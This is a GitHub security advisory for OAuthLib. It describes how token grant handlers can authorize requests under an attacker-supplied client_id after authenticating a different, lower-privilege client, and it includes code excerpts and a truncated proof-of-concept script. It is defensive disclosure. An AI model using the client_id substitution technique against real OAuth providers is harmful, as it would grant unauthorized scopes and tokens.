GitHub Advisoryadvisory · PyPI
GHSA-7984-qgvg-3j9c OAuthLib: Token grants can use attacker-supplied client_id for authorization after authenticating a different client
HIGH
Official page ↗
- Aliases
- CVE-2026-118669
- Ecosystem
- PyPI
- Packages
- oauthlib
- Severity
- High
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:H/SI:H/SA:N
- Weaknesses
- CWE-863
- Reviewed
- 2026-10-30
Affected packages
• PyPI oauthlib: < 4.0.0 → fixed in 4.0.0
Description
Summary
OAuthlib's token grant handlers can authenticate one client while authorizing the grant type and requested scopes using a different, attacker-supplied `client_id` from the request body.
In affected token grant flows, `authenticate_client(request)` sets `request.client` to the authenticated client object, but OAuthlib does not require `request.client_id` to match `request.client.client_id`. If the request body already contains `client_id=...`, OAuthlib keeps that value and passes it to `validate_grant_type()` and `validate_scopes()`.
As a result, an authenticated low-privilege confidential client can authenticate as itself, submit another client's `client_id` in the token request body, and cause grant and scope validation to run under that other client identity.
Affected Surface
The affected public surface is the OAuth2 token endpoint handling for:
• `client_credentials`
• `password` / Resource Owner Password Credentials
The issue is relevant to OAuthlib provider deployments where:
• the attacker has credentials for one valid lower-privilege confidential client;
• another client has broader grants or scopes;
• the application validator uses the `client_id` argument passed by OAuthlib in `validate_grant_type()` or `validate_scopes()`, as the `RequestValidator` API is designed to support.
Deployments whose validators ignore the `client_id` argument and authorize only from `request.client` may not be affected.
Details
`Request` parses query and body parameters into request attributes, including `client_id`:
• https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/common.py#L360-L397
The `RequestValidator.authenticate_client()` contract requires the integrator to authenticate the client and set `request.client`:
• https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/request_validator.py#L41-L66
For the `client_credentials` grant, OAuthlib authenticates the client, verifies that `request.client` has a `client_id`, then performs grant and scope validation before normalizing `request.client_id` from `request.client.client_id`:
• https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/client_credentials.py#L106-L119
The problematic order is:
```python
if not self.request_validator.authenticate_client(request):
...
elif not hasattr(request.client, 'client_id'):
...
self.validate_grant_type(request)
request.client_id = request.client_id or request.client.client_id
self.validate_scopes(request)
```
Because OAuthlib only fills `request.client_id` when it is missing, an attacker-supplied body value such as `client_id=high` survives even when `request.client.client_id == "low"`.
The shared grant helper then authorizes using `request.client_id`, while passing the authenticated client object separately:
• `validate_grant_type(request.client_id, request.grant_type, request.client, request)`: https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/base.py#L152-L162
• `validate_scopes(request.client_id, request.scopes, request.client, request)`: https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/base.py#L164-L176
The same identity split exists in the Resource Owner Password Credentials flow. After client authentication and user validation, OAuthlib validates the grant and scopes before replacing a missing `request.client_id` from `request.client.client_id`:
• https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/resource_owner_password_credentials.py#L87-L97
• https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/resource_owner_password_credentials.py#L178-L195
This creates an inconsistent identity state:
```text
request.client.client_id == "low" # authenticated client
request.client_id == "high" # attacker-supplied request parameter
```
OAuthlib then calls application authorization hooks with both values, but uses the attacker-controlled `request.client_id` as the first-class `client_id` argument.
Impact
An authenticated lower-privilege confidential client can obtain tokens authorized under another client's grant and scope policy if the application's validator follows the `RequestValidator` API and authorizes by the `client_id` argument.
Concrete impact can include:
• issuing access tokens with scopes not assigned to the authenticated client;
• allowing a low-privilege client to use a grant type reserved for a higher-privilege client;
• persisting tokens under a spoofed `client_id` while the authenticated client object is different.
This is a token authorization bypass, not an unauthenticated attack. The attacker needs valid credentials for one client.
PoC
Create the following files in an empty directory.
`requirements.txt`:
```text
oauthlib==3.3.1
```
`repro.py`:
```python
import base64
import json
from oauthlib.oauth2 import (
BearerToken,
ClientCredentialsGrant,
RequestValidator,
ResourceOwnerPasswordCredentialsGrant,
TokenEndpoint,
)
class Client:
def __init__(self, client_id):
self.client_id = client_id
CLIENTS = {
"low": {
"secret": "low-secret",
"grants": {"client_credentials", "password"},
"scopes": {"read"},
},
"high": {
"secret": "high-secret",
"grants": {"client_credentials", "password"},
"scopes": {"read", "admin"},
},
}
class DemoValidator(RequestValidator):
def __init__(self):
self.saved_tokens = []
def authenticate_client(self, request, *args, **kwargs):
authorization = request.headers.get("Authorization", "")
prefix = "Basic "
if not authorization.startswith(prefix):
return False
decoded = base64.b64decode(authorization[len(prefix):]).decode("utf-8")
client_id, secret = decoded.split(":", 1)
record = CLIENTS.get(client_id)
if record is None or record["secret"] != secret:
return False
# This is the authenticated client identity.
request.client = Client(client_id)
return True
def client_authentication_required(self, request, *args, **kwargs):
return True
def validate_grant_type(self, client_id, grant_type, client, request, *args, **kwargs):
record = CLIENTS.get(client_id)
return record is not None and grant_type in record["grants"]
def validate_scopes(self, client_id, scopes, client, request, *args, **kwargs):
record = CLIENTS.get(client_id)
return record is not None and set(scopes or []) <= record["scopes"]
def get_default_scopes(self, client_id, request, *args, **kwargs):
return []
def validate_user(self, username, password, client, request, *args, **kwargs):
if username == "alice" and password == "wonderland":
request.user = username
return True
return False
def save_bearer_token(self, token, request, *args, **kwargs):
self.saved_tokens.append({
"token": dict(token),
"authenticated_client_id": request.client.client_id,
"request_client_id": request.client_id,
"scopes": list(request.scopes or []),
})
validator = DemoValidator()
token = BearerToken(validator, expires_in=3600)
endpoint = TokenEndpoint(
default_grant_type="client_credentials",
default_token_type=token,
grant_types={
"client_credentials": ClientCredentialsGrant(validator),
"password": ResourceOwnerPasswordCredentialsGrant(validator),
},
)
def low_client_headers():
value = base64.b64encode(b"low:low-secret").decode("ascii")
return {"Authorization": f"Basic {value}"}
def toke…
Related
Alias · CVE (1)
- CVE-2026-118669 OAuthLib is an implementation of the OAuth request-signing logic for Python 3.6+. vulnerability
Weakness · CWE (1)
- CWE-863 Incorrect Authorization weakness
References
- https://github.com/oauthlib/oauthlib/security/advisories/GHSA-7984-qgvg-3j9c web
- https://nvd.nist.gov/vuln/detail/CVE-2026-118669 advisory
- https://github.com/oauthlib/oauthlib/pull/920 web
- https://github.com/oauthlib/oauthlib/commit/c951a1d09f99f14e3240973fa83c4f4287d4753d web
- https://github.com/oauthlib/oauthlib package
- https://github.com/oauthlib/oauthlib/releases/tag/v4.0.0 web